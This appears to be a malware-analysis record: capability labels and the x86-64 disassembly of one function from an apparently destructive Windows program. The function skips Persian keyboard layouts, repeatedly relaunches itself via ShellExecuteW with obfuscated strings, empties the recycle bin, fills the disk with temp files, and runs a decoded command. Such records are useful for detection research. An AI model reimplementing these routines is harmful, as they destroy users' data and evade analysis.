Function at 0x14003adc0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Get common file path
Get keyboard layout
Terminate process
Terminate thread
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x208]
sub rsp, 0x2f0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x1400e0180]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
movsxd rbx, eax
mov r14d, 8
mov eax, r14d
mul rbx
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call fcn.140060250
mov rdi, rax
mov rdx, rax
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
xor r15d, r15d
test eax, eax
je 0x140020bf2
mov eax, r15d
test ebx, ebx
jle 0x140020bf2
mov ecx, 0x429
nop dword [rax + rax]
cmp word [rdi + rax*8], cx
je 0x140020d62
inc rax
cmp rax, rbx
jl 0x140020be0
mov rdx, r14
mov rcx, rdi
call fcn.14005ff0c
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x140020d6e
mov r8d, 0x104
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
test eax, eax
je 0x140020d6e
movsd xmm6, qword [0x1400d00c8]
lea rcx, [rbp - 0x68]
call fcn.14003c2f0
nop
mov byte [rbp - 0x80], 0
mov byte [rbp - 0x7f], 0x41
mov byte [rbp - 0x7e], 0x26
mov byte [rbp - 0x7d], 0x31
mov byte [rbp - 0x7c], 0x26
mov byte [rbp - 0x7b], 0x2c
mov byte [rbp - 0x7a], 0x26
mov byte [rbp - 0x79], 0x47
mov byte [rbp - 0x78], 0x26
mov byte [rbp - 0x77], 0x66
mov byte [rbp - 0x76], 0x26
mov byte [rbp - 0x75], 0x26
mov byte [rbp - 0x74], 0x26
movzx eax, byte [rbp - 0x7f]
lea rcx, [rbp - 0x80]
call fcn.1400421e0
mov rdx, rax
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 5
jne 0x140020d59
lea rcx, [rbp - 0x80]
call fcn.140042260
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.14003c300
lea rcx, [rbp - 0x80]
call fcn.1400296c0
movsd xmm7, qword [0x1400d00c0]
nop word [rax + rax]
cvttsd2si rcx, xmm6
call qword [sym.imp.KERNEL32.DLL_Sleep]
mulsd xmm6, xmm7
mov byte [rbp - 0x80], 0
mov byte [rbp - 0x7f], 0x62
mov byte [rbp - 0x7e], 0x59
mov byte [rbp - 0x7d], 8
mov byte [rbp - 0x7c], 0x59
mov byte [rbp - 0x7b], 0x5b
mov byte [rbp - 0x7a], 0x59
mov byte [rbp - 0x79], 0x64
mov byte [rbp - 0x78], 0x59
mov byte [rbp - 0x77], 0x44
mov byte [rbp - 0x76], 0x59
mov byte [rbp - 0x75], 0x59
mov byte [rbp - 0x74], 0x59
movzx eax, byte [rbp - 0x7f]
lea rcx, [rbp - 0x80]
call fcn.140042160
mov rdx, rax
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 5
je 0x140020cd0
lea rcx, [rbp - 0x68]
call fcn.14003c330
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
mov ecx, 1
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x40], xmm1
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov r8d, 0x24
lea rdx, str.4B991369_7C7C_47AA_A81E_EF6ED1F5E24C
lea rcx, [rsp + 0x40]
call fcn.1400211f0
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova r8, qword [rsp + 0x40]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov qword [rbp - 0x68], rax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
cmp eax, 0xb7
setne byte [rbp - 0x60]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140020e0e
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020e09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002113a
call fcn.14005ff0c
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
cmp ebx, 0xb7
jne 0x140020e32
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.140022950
xor edx, edx
xor ecx, ecx
mov r8d, 7
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
lea rcx, [rbp - 0x80]
call fcn.140034140
nop
mov rdi, qword [rbp - 0x78]
mov rbx, qword [rbp - 0x80]
cmp rbx, rdi
je 0x140020e71
nop
mov rcx, rbx
call fcn.14003c630
add rbx, 0x20
cmp rbx, rdi
jne 0x140020e60
lea rcx, [rbp - 0x80]
call fcn.14002bdc0
call fcn.14003c900
call fcn.140041b10
call fcn.14003f080
lea rcx, [rbp - 0x80]
call fcn.140034b50
mov rdi, qword [rbp - 0x78]
mov rbx, qword [rbp - 0x80]
cmp rbx, rdi
je 0x140020eb1
nop
mov rcx, rbx
call fcn.14003f600
add rbx, 0x20
cmp rbx, rdi
jne 0x140020ea0
lea rcx, [rbp - 0x80]
call fcn.14002bdc0
call fcn.14002ab90
call fcn.14003d770
call fcn.140040a50
call fcn.14003f870
lea rcx, [rbp - 0x80]
call fcn.14002a770
mov rbx, qword [rbp - 0x80]
mov r14, qword [rbp - 0x78]
cmp rbx, r14
je 0x140020fc9
nop dword [rax + rax]
mov rcx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140020efd
mov rcx, qword [rbx]
lea r9, [rbp - 0x50]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_GetTempFileNameW]
test eax, eax
je 0x140020fc9
call qword [sym.imp.KERNEL32.DLL_GetCurrentThread]
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.DLL_SetThreadPriority]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x24000002
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140020fc9
mov edx, 0x80000
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rsi, rax
nop word [rax + rax]
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x58]
mov r8d, 0x80000
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x140020f80
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, 0x80000
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
add rbx, 0x20
cmp rbx, r14
jne 0x140020ef0
lea rcx, [rbp - 0x80]
call fcn.14002bdc0
mov ebx, r15d
lea rcx, [rsp + 0x60]
call fcn.14002f410
mov r8, rax
cmp qword [rax + 0x18], 7
jbe 0x140020fec
mov r8, qword [rax]
mov byte [rbp - 0x80], 0
mov byte [rbp - 0x7f], 0x79
mov byte [rbp - 0x7e], 0x50
mov byte [rbp - 0x7d], 0x2f
mov byte [rbp - 0x7c], 0x50
mov byte [rbp - 0x7b], 0x63
mov byte [rbp - 0x7a], 0x50
mov byte [rbp - 0x79], 0x44
mov byte [rbp - 0x78], 0x50
mov byte [rbp - 0x77], 0x50
mov byte [rbp - 0x76], 0x50
movzx eax, byte [rbp - 0x7f]
movzx eax, byte [rbp - 0x80]
test al, al
jne 0x140021089
mov r10, r15
nop word [rax + rax]
movzx ecx, byte [rbp + r10 - 0x7f]
sub ecx, 0x50
lea r9d, [rcx + rcx*2]
shl r9d, 2
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
add r9d, 0x7f
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
mov byte [rbp + r10 - 0x7f], r9b
inc r10
cmp r10, 0xa
jb 0x140021030
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, [rbp - 0x7f]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1400210e3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400210de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021140
call fcn.14005ff0c
inc ebx
cmp ebx, 1
jl 0x140020fd5
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.DLL_ReleaseMutex]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.14005feb0
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140091ac4
nop
call fcn.140091ac4
int3
jmp 0x140020b50